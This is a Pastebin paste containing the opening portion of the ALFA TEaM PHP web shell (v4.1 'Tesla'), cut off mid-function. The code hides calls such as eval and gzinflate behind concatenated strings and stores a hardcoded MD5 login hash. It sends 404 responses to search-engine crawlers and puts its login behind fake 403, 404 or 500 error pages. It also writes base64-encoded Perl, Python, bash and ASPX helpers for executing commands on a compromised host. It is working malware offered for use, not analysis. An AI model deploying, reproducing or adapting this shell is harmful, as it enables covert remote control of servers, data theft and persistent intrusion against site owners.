Chemod

ALFA V.1

Feb 23rd, 2021
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 452.92 KB | None | 0 0
  1. <?php
  2. /*
  3. Author: Solevisible/Alfa-Team
  4. Telegram: https://telegram.me/solevisible
  5. YouTube: https://youtube.com/solevisible
  6. Gmail: solevisible@gmail.com
  7. Date: Monday, September 14, 2020
  8. */
  9. $GLOBALS['oZgNypoPRU'] = array(
  10. 'username' => 'alfa',
  11. 'password' => 'a6f452ec3293d7fb72c5b677257b20ec',//md5(ehsan)
  12. 'safe_mode' => '0',
  13. 'login_page' => '403',
  14. 'show_icons' => '1',
  15. 'post_encryption' => false,
  16. 'cgi_api' => true,
  17. );
  18.  
  19. $CWppUDJxuf = 'fu' . 'n' . 'ct' . 'ion_' . 'e' . 'xist' . 's';
  20. $aztJtafUXm = 'cha' . 'r' . 'C' . 'o' . 'd' . 'e' . 'A' . 't' . '';
  21. $OVpGNqqFZs = 'e' . 'v' . 'al';
  22. $psDEwGhsxg = 'gz' . 'inf' . 'late';
  23.  
  24. if (!$CWppUDJxuf('b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . ''))
  25. {
  26. function vcnvSCZgBz($data)
  27. {
  28. if (empty($data)) return;
  29. $b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
  30. $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
  31. $ac = 0;
  32. $enc = '';
  33. $tmp_arr = array();
  34. if (!$data)
  35. {
  36. return $data;
  37. }
  38. do
  39. {
  40. $o1 = $aztJtafUXm($data, $i++);
  41. $o2 = $aztJtafUXm($data, $i++);
  42. $o3 = $aztJtafUXm($data, $i++);
  43. $bits = $o1 << 16 | $o2 << 8 | $o3;
  44. $h1 = $bits >> 18 & 0x3f;
  45. $h2 = $bits >> 12 & 0x3f;
  46. $h3 = $bits >> 6 & 0x3f;
  47. $h4 = $bits & 0x3f;
  48. $tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
  49. }
  50. while ($i < strlen($data));
  51. $enc = implode($tmp_arr, '');
  52. $r = (strlen($data) % 3);
  53. return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr('===', ($r || 3));
  54. }
  55. function charCodeAt($data, $char)
  56. {
  57. return ord(substr($data, $char, 1));
  58. }
  59. function charAt($data, $char)
  60. {
  61. return substr($data, $char, 1);
  62. }
  63. }
  64. else
  65. {
  66. function vcnvSCZgBz($s)
  67. {
  68. $b = 'b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . '';
  69. return $b($s);
  70. }
  71. }
  72. if (!$CWppUDJxuf('b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . ''))
  73. {
  74. function zRtSHsbTzV($input)
  75. {
  76. if (empty($input)) return;
  77. $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  78. $chr1 = $chr2 = $chr3 = "";
  79. $enc1 = $enc2 = $enc3 = $enc4 = "";
  80. $i = 0;
  81. $output = "";
  82. $input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
  83. do
  84. {
  85. $enc1 = strpos($keyStr, substr($input, $i++, 1));
  86. $enc2 = strpos($keyStr, substr($input, $i++, 1));
  87. $enc3 = strpos($keyStr, substr($input, $i++, 1));
  88. $enc4 = strpos($keyStr, substr($input, $i++, 1));
  89. $chr1 = ($enc1 << 2) | ($enc2 >> 4);
  90. $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
  91. $chr3 = (($enc3 & 3) << 6) | $enc4;
  92. $output = $output . chr((int)$chr1);
  93. if ($enc3 != 64)
  94. {
  95. $output = $output . chr((int)$chr2);
  96. }
  97. if ($enc4 != 64)
  98. {
  99. $output = $output . chr((int)$chr3);
  100. }
  101. $chr1 = $chr2 = $chr3 = "";
  102. $enc1 = $enc2 = $enc3 = $enc4 = "";
  103. }
  104. while ($i < strlen($input));
  105. return $output;
  106. }
  107. }
  108. else
  109. {
  110. function zRtSHsbTzV($s)
  111. {
  112. $b = 'b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . '';
  113. return $b($s);
  114. }
  115. }
  116.  
  117. function __ZW5jb2Rlcg($s)
  118. {
  119. return vcnvSCZgBz($s);
  120. }
  121. function __ZGVjb2Rlcg($s)
  122. {
  123. return zRtSHsbTzV($s);
  124. }
  125.  
  126. $GLOBALS['DB_NAME'] = $GLOBALS['oZgNypoPRU'];
  127.  
  128. foreach ($GLOBALS['DB_NAME'] as $key => $value)
  129. {
  130. $prefix = substr($key, 0, 2);
  131. if ($prefix == "us")
  132. {
  133. $GLOBALS['DB_NAME']["user"] = $value;
  134. $GLOBALS['DB_NAME']["user_rand"] = $key;
  135. }
  136. elseif ($prefix == "pa")
  137. {
  138. $GLOBALS['DB_NAME']["pass"] = $value;
  139. $GLOBALS['DB_NAME']["pass_rand"] = $key;
  140. }
  141. elseif ($prefix == "sa")
  142. {
  143. $GLOBALS['DB_NAME']["safemode"] = $value;
  144. $GLOBALS['DB_NAME']["safemode_rand"] = $key;
  145. }
  146. elseif ($prefix == "lo")
  147. {
  148. $GLOBALS['DB_NAME']["login_page"] = $value;
  149. $GLOBALS['DB_NAME']["login_page_rand"] = $key;
  150. }
  151. elseif ($prefix == "sh")
  152. {
  153. $GLOBALS['DB_NAME']["show_icons"] = $value;
  154. $GLOBALS['DB_NAME']["show_icons_rand"] = $key;
  155. }
  156. elseif ($prefix == "po")
  157. {
  158. $GLOBALS['DB_NAME']["post_encryption"] = $value;
  159. $GLOBALS['DB_NAME']["post_encryption_rand"] = $key;
  160. }
  161. elseif ($prefix == "cg")
  162. {
  163. $GLOBALS['DB_NAME']["cgi_api"] = $value;
  164. $GLOBALS['DB_NAME']["cgi_api_rand"] = $key;
  165. }
  166. }
  167.  
  168. unset($GLOBALS['oZgNypoPRU']);
  169.  
  170. if (!isset($_SERVER["HTTP_HOST"])) exit();
  171.  
  172. if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}
  173. if(!isset($GLOBALS['DB_NAME']['user']))exit('$GLOBALS[\'DB_NAME\'][\'user\']');
  174. if(!isset($GLOBALS['DB_NAME']['pass']))exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
  175. if(!isset($GLOBALS['DB_NAME']['safemode']))exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
  176. if(!isset($GLOBALS['DB_NAME']['login_page']))exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
  177. if(!isset($GLOBALS['DB_NAME']['show_icons']))exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
  178. if(!isset($GLOBALS['DB_NAME']['post_encryption']))exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
  179. define("__ALFA_VERSION__", "4.1");
  180. define("__ALFA_UPDATE__", "2");
  181. define("__ALFA_CODE_NAME__", "Tesla");
  182. define("__ALFA_DATA_FOLDER__", "ALFA_DATA");
  183. define("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));
  184. define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():'');
  185. $GLOBALS['__ALFA_COLOR__'] = array(
  186. "shell_border" => array(
  187. "key_color" => "#0E304A",
  188. "multi_selector" => array(
  189. ".header" => "border: 7px solid {color}",
  190. "#meunlist" => "border-color: {color}",
  191. "#hidden_sh" => "background-color: {color}",
  192. ".ajaxarea" => "border: 1px solid {color}",
  193. ".foot" => "border-color: {color}",
  194. )
  195. ),
  196. "header_vars" => "#27979B",
  197. "header_values" => "#67ABDF",
  198. "header_on" => "#00FF00",
  199. "header_off" => "#ff0000",
  200. "header_none" => "#00FF00",
  201. "home_shell" => "#ff0000",
  202. "home_shell:hover" => array(
  203. "key_color" => "#FFFFFF",
  204. "multi_selector" => array(
  205. ".home_shell:hover" => "color: {color};",
  206. )
  207. ),
  208. "back_shell" => "#efbe73",
  209. "back_shell:hover" => array(
  210. "key_color" => "#FFFFFF",
  211. "multi_selector" => array(
  212. ".back_shell:hover" => "color: {color};",
  213. )
  214. ),
  215. "header_pwd" => "#00FF00",
  216. "header_pwd:hover" => array(
  217. "key_color" => "#FFFFFF",
  218. "multi_selector" => array(
  219. ".header_pwd:hover" => "color: {color};",
  220. )
  221. ),
  222. "header_drive" => "#00FF00",
  223. "header_drive:hover" => array(
  224. "key_color" => "#FFFFFF",
  225. "multi_selector" => array(
  226. ".header_drive:hover" => "color: {color};",
  227. )
  228. ),
  229. "header_show_all" => "#00FF00",
  230. "disable_functions" => "#ff0000",
  231. "footer_text" => "#27979B",
  232. "menu_options" => "#27979B",
  233. "menu_options:hover" => array(
  234. "key_color" => "#646464",
  235. "multi_selector" => array(
  236. ".menu_options:hover" => "background-color: {color};font-weight: unset;",
  237. )
  238. ),
  239. "options_list" => array(
  240. "key_color" => "#00FF00",
  241. "multi_selector" => array(
  242. ".content_options_holder .header center a" => "color: {color};",
  243. )
  244. ),
  245. "options_list:hover" => array(
  246. "key_color" => "#FFFFFF",
  247. "multi_selector" => array(
  248. ".content_options_holder .header center a:hover" => "color: {color};",
  249. )
  250. ),
  251. "options_list_header" => array(
  252. "key_color" => "#59cc33",
  253. "multi_selector" => array(
  254. ".txtfont_header" => "color: {color};",
  255. )
  256. ),
  257. "options_list_text" => array(
  258. "key_color" => "#FFFFFF",
  259. "multi_selector" => array(
  260. ".txtfont,.tbltxt" => "color: {color};",
  261. )
  262. ),
  263. "Alfa+" => array(
  264. "key_color" => "#06ff0f",
  265. "multi_selector" => array(
  266. ".alfa_plus" => "color: {color};font-weight: unset;",
  267. )
  268. ),
  269. "hidden_shell_text" => array(
  270. "key_color" => "#00FF00",
  271. "multi_selector" => array(
  272. "#hidden_sh a" => "color: {color};",
  273. )
  274. ),
  275. "hidden_shell_version" => "#ff0000",
  276. "shell_name" => "#FF0000",
  277. "main_row:hover" => array(
  278. "key_color" => "#646464",
  279. "multi_selector" => array(
  280. ".main tr:hover" => "background-color: {color};",
  281. )
  282. ),
  283. "main_header" => array(
  284. "key_color" => "#FFFFFF",
  285. "multi_selector" => array(
  286. ".main th" => "color: {color};",
  287. )
  288. ),
  289. "main_name" => array(
  290. "key_color" => "#FFFFFF",
  291. "multi_selector" => array(
  292. ".main .main_name" => "color: {color};font-weight: unset;",
  293. )
  294. ),
  295. "main_size" => "#67ABDF",
  296. "main_modify" => "#67ABDF",
  297. "main_owner_group" => "#67ABDF",
  298. "main_green_perm" => "#25ff00",
  299. "main_red_perm" => "#FF0000",
  300. "main_white_perm" => "#FFFFFF",
  301. "beetween_perms" => "#FFFFFF",
  302. "main_actions" => array(
  303. "key_color" => "#FFFFFF",
  304. "multi_selector" => array(
  305. ".main .actions" => "color: {color};",
  306. )
  307. ),
  308. "menu_options:hover" => array(
  309. "key_color" => "#646464",
  310. "multi_selector" => array(
  311. ".menu_options:hover" => "background-color: {color};font-weight: unset;",
  312. )
  313. ),
  314. "minimize_editor_background" => array(
  315. "key_color" => "#0e304a",
  316. "multi_selector" => array(
  317. ".minimized-wrapper" => "background-color: {color};",
  318. )
  319. ),
  320. "minimize_editor_text" => array(
  321. "key_color" => "#f5deb3",
  322. "multi_selector" => array(
  323. ".minimized-text" => "color: {color};",
  324. )
  325. ),
  326. "editor_border" => array(
  327. "key_color" => "#0e304a",
  328. "multi_selector" => array(
  329. ".editor-explorer,.editor-modal" => "border: 2px solid {color};",
  330. )
  331. ),
  332. "editor_background" => array(
  333. "key_color" => "rgba(0, 1, 23, 0.94)",
  334. "multi_selector" => array(
  335. ".editor-explorer,.editor-modal" => "background-color: {color};",
  336. )
  337. ),
  338. "editor_header_background" => array(
  339. "key_color" => "rgba(21, 66, 88, 0.93)",
  340. "multi_selector" => array(
  341. ".editor-header" => "background-color: {color};",
  342. )
  343. ),
  344. "editor_header_text" => array(
  345. "key_color" => "#00ff7f",
  346. "multi_selector" => array(
  347. ".editor-path" => "color: {color};",
  348. )
  349. ),
  350. "editor_header_button" => array(
  351. "key_color" => "#1d5673",
  352. "multi_selector" => array(
  353. ".close-button, .editor-minimize" => "background-color: {color};",
  354. )
  355. ),
  356. "editor_actions" => array(
  357. "key_color" => "#FFFFFF",
  358. "multi_selector" => array(
  359. ".editor_actions" => "color: {color};",
  360. )
  361. ),
  362. "editor_file_info_vars" => array(
  363. "key_color" => "#FFFFFF",
  364. "multi_selector" => array(
  365. ".editor_file_info_vars" => "color: {color};",
  366. )
  367. ),
  368. "editor_file_info_values" => array(
  369. "key_color" => "#67ABDF",
  370. "multi_selector" => array(
  371. ".filestools" => "color: {color};",
  372. )
  373. ),
  374. "editor_history_header" => array(
  375. "key_color" => "#14ff07",
  376. "multi_selector" => array(
  377. ".hheader-text,.history-clear" => "color: {color};",
  378. )
  379. ),
  380. "editor_history_list" => array(
  381. "key_color" => "#03b3a3",
  382. "multi_selector" => array(
  383. ".editor-file-name" => "color: {color};",
  384. )
  385. ),
  386. "editor_history_selected_file" => array(
  387. "key_color" => "rgba(49, 55, 93, 0.77)",
  388. "multi_selector" => array(
  389. ".is_active" => "background-color: {color};",
  390. )
  391. ),
  392. "editor_history_file:hover" => array(
  393. "key_color" => "#646464",
  394. "multi_selector" => array(
  395. ".file-holder > .history:hover" => "background-color: {color};",
  396. )
  397. ),
  398. "input_box_border" => array(
  399. "key_color" => "#0E304A",
  400. "multi_selector" => array(
  401. "input[type=text],textarea" => "border: 1px solid {color}",
  402. )
  403. ),
  404. "input_box_text" => array(
  405. "key_color" => "#999999",
  406. "multi_selector" => array(
  407. "input[type=text],textarea" => "color: {color};",
  408. )
  409. ),
  410. "input_box:hover" => array(
  411. "key_color" => "#27979B",
  412. "multi_selector" => array(
  413. "input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
  414. )
  415. ),
  416. "select_box_border" => array(
  417. "key_color" => "#0E304A",
  418. "multi_selector" => array(
  419. "select" => "border: 1px solid {color}",
  420. )
  421. ),
  422. "select_box_text" => array(
  423. "key_color" => "#FFFFEE",
  424. "multi_selector" => array(
  425. "select" => "color: {color};",
  426. )
  427. ),
  428. "select_box:hover" => array(
  429. "key_color" => "#27979B",
  430. "multi_selector" => array(
  431. "select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
  432. )
  433. ),
  434. "button_border" => array(
  435. "key_color" => "#27979B",
  436. "multi_selector" => array(
  437. "input[type=submit],.button,#addup" => "border: 1px solid {color};",
  438. )
  439. ),
  440. "button:hover" => array(
  441. "key_color" => "#27979B",
  442. "multi_selector" => array(
  443. "input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",
  444. ".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
  445. )
  446. ),
  447. "outputs_text" => array(
  448. "key_color" => "#67ABDF",
  449. "multi_selector" => array(
  450. ".ml1" => "color: {color};",
  451. )
  452. ),
  453. "outputs_border" => array(
  454. "key_color" => "#0E304A",
  455. "multi_selector" => array(
  456. ".ml1" => "border: 1px solid {color};",
  457. )
  458. ),
  459. "uploader_border" => array(
  460. "key_color" => "#0E304A",
  461. "multi_selector" => array(
  462. ".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",
  463. )
  464. ),
  465. "uploader_background" => array(
  466. "key_color" => "#0E304A",
  467. "multi_selector" => array(
  468. ".inputfile strong" => "background-color: {color};",
  469. )
  470. ),
  471. "uploader_text_right" => array(
  472. "key_color" => "#FFFFFF",
  473. "multi_selector" => array(
  474. ".inputfile strong" => "color: {color};",
  475. )
  476. ),
  477. "uploader_text_left" => array(
  478. "key_color" => "#25ff00",
  479. "multi_selector" => array(
  480. ".inputfile span" => "color: {color};",
  481. )
  482. ),
  483. "uploader:hover" => array(
  484. "key_color" => "#27979B",
  485. "multi_selector" => array(
  486. ".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
  487. )
  488. ),
  489. "uploader_progress_bar" => array(
  490. "key_color" => "#00ff00",
  491. "multi_selector" => array(
  492. ".up_bar" => "background-color: {color};",
  493. )
  494. ),
  495. "mysql_tables" => "#00FF00",
  496. "mysql_table_count" => "#67ABDF",
  497. "copyright" => "#dfff00",
  498. "scrollbar" => array(
  499. "key_color" => "#1e82b5",
  500. "multi_selector" => array(
  501. "*::-webkit-scrollbar-thumb" => "background-color: {color};",
  502. )
  503. ),
  504. "scrollbar_background" => array(
  505. "key_color" => "#000115",
  506. "multi_selector" => array(
  507. "*::-webkit-scrollbar-track" => "background-color: {color};",
  508. )
  509. ),
  510. );
  511. $GLOBALS['__file_path'] = str_replace('\\','/',trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__)));
  512. $config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'],'AlfaPass' => $GLOBALS['DB_NAME']['pass'],'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'],'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
  513. //@session_start();
  514. @session_write_close();
  515. @ignore_user_abort(true);
  516. @set_time_limit(0);
  517. @ini_set('memory_limit', '-1');
  518. @ini_set("upload_max_filesize", "9999m");
  519. if($config['AlfaProtectShell']){
  520. $SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");
  521. $Eform='<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
  522. if($config['AlfaLoginPage'] == 'gui'){
  523. if(@$_COOKIE["AlfaUser"] != $config['AlfaUser'] && $_COOKIE["AlfaPass"] != md5($config['AlfaPass'])){
  524. if(@$_POST["usrname"]==$config['AlfaUser'] && @md5($_POST["password"])==$config['AlfaPass']){
  525. __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
  526. __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
  527. @header('location: '.$_SERVER["PHP_SELF"]);
  528. }
  529. echo '
  530. <style>
  531. body{background: black;}
  532. #loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }
  533. #loginbox td { border-radius:5px; font-size:11px; }
  534. </style>
  535. <title>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</title><center>
  536. <center><img style="border-radius:100px;" width="500" height="250" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></center>
  537. <div id=loginbox><p><font face="verdana,arial" size=-1>
  538. <center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>
  539. <tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</b></font></th></tr>
  540. <tr><td bgcolor="black" style="padding:5">
  541. <form method="post">
  542. <input type="hidden" name="action" value="login">
  543. <input type="hidden" name="hide" value="">
  544. <center><table>
  545. <tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>
  546. <tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>
  547. <tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>
  548. </div><br /></center>';
  549. exit;
  550. }
  551. }elseif($config['AlfaLoginPage']=='500'){
  552. if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
  553. if(@md5($_POST["password"])==$config['AlfaPass']){
  554. __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
  555. __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
  556. @header('location: '.$_SERVER["PHP_SELF"]);
  557. }
  558. echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, '.$_SERVER['SERVER_ADMIN'].' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>'.$SERVER_SIG.'</body></html>'.$Eform;
  559. exit;
  560. }
  561. }elseif($config['AlfaLoginPage']=='403'){
  562. if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
  563. if(@md5($_POST["password"])==$config['AlfaPass']){
  564. __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
  565. __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
  566. @header('location: '.$_SERVER["PHP_SELF"]);
  567. }
  568. echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access ".$_SERVER['PHP_SELF']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
  569. exit;
  570. }
  571. }elseif($config['AlfaLoginPage']=='404'){
  572. if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
  573. if(@md5($_POST["password"])==$config['AlfaPass']){
  574. __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
  575. __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
  576. @header('location: '.$_SERVER["PHP_SELF"]);
  577. }
  578. echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
  579. exit;
  580. }
  581. }
  582. }
  583. function decrypt_post($str){
  584. if(__ALFA_POST_ENCRYPTION__){
  585. $pwd = __ALFA_SECRET_KEY__;
  586. $pwd = __ZW5jb2Rlcg($pwd);
  587. $str = __ZGVjb2Rlcg($str);
  588. $enc_chr = "";
  589. $enc_str = "";
  590. $i = 0;
  591. while ($i < strlen($str)) {
  592. for ($j = 0; $j < strlen($pwd); $j++) {
  593. $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
  594. $enc_str .= $enc_chr;
  595. $i++;
  596. if ($i >= strlen($str))
  597. break;
  598. }
  599. }
  600. return __ZGVjb2Rlcg($enc_str);
  601. }else{
  602. return __ZGVjb2Rlcg($str);
  603. }
  604. }
  605.  
  606. function _AlfaSecretKey(){
  607. $secret = @$_COOKIE["AlfaSecretKey"];
  608. if(!isset($_COOKIE["AlfaSecretKey"])){
  609. $secret = uniqid(mt_rand(), true);
  610. __alfa_set_cookie("AlfaSecretKey", $secret);
  611. }
  612. return $secret;
  613. }
  614. function alfa_getColor($target){
  615. if(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){
  616. return $GLOBALS["DB_NAME"]["color"][$target];
  617. }else{
  618. $target = $GLOBALS["__ALFA_COLOR__"][$target];
  619. if(is_array($target)){
  620. return $target["key_color"];
  621. }else{
  622. return $target;
  623. }
  624. }
  625. }
  626. function alfaCssLoadColors(){
  627. $css = "";
  628. foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
  629. if(!is_array($value)){
  630. $value = alfa_getColor($key);
  631. $css .= ".{$key}{color: {$value};}";
  632. }else{
  633. if(isset($value["multi_selector"])){
  634. foreach($value["multi_selector"] as $k => $v){
  635. $color = alfa_getColor($key);
  636. $code = str_replace("{color}", $color, $v);
  637. $css .= $k."{".$code."}";
  638. }
  639. }
  640. }
  641. }
  642. return $css;
  643. }
  644. if(isset($_POST['ajax'])){
  645. function AlfaNum(){
  646. $args = func_get_args();
  647. $alfax = array();
  648. $find = array();
  649. for($i=1;$i<=10;$i++){
  650. $alfax[] = $i;
  651. }
  652. foreach($args as $arg){
  653. $find[] = $arg;
  654. }
  655. echo '<script>';
  656. foreach($alfax as $alfa){
  657. if(in_array($alfa,$find))
  658. continue;
  659. echo 'alfa'.$alfa."_=";
  660. }
  661. echo '""</script>';
  662. }}
  663. function _alfa_cgicmd($cmd,$lang="perl",$set_cookie=false){
  664. if(!$GLOBALS["DB_NAME"]["cgi_api"]){
  665. return "";
  666. }
  667. if(isset($_COOKIE["alfacgiapi_mode"])){
  668. return "";
  669. }
  670. $cmd_pure = $cmd;
  671. $is_curl = function_exists('curl_version');
  672. $is_socket = function_exists('fsockopen');
  673. if($is_curl||$is_socket){
  674. $recreate = false;
  675. if(isset($_COOKIE["alfacgiapi"])){
  676. if(!@file_exists("alfacgiapi/".$_COOKIE["alfacgiapi"].".alfa")){
  677. $recreate = true;
  678. $lang = $_COOKIE["alfacgiapi"];
  679. }
  680. }
  681. if(!isset($_COOKIE["alfacgiapi"])||$recreate){
  682. @chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
  683. $perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
  684. $py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
  685. $bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
  686. $aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";
  687. if($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;
  688. if($lang == "aspx"){
  689. alfaWriteTocgiapi("aspx.aspx",$aspx);
  690. }else{
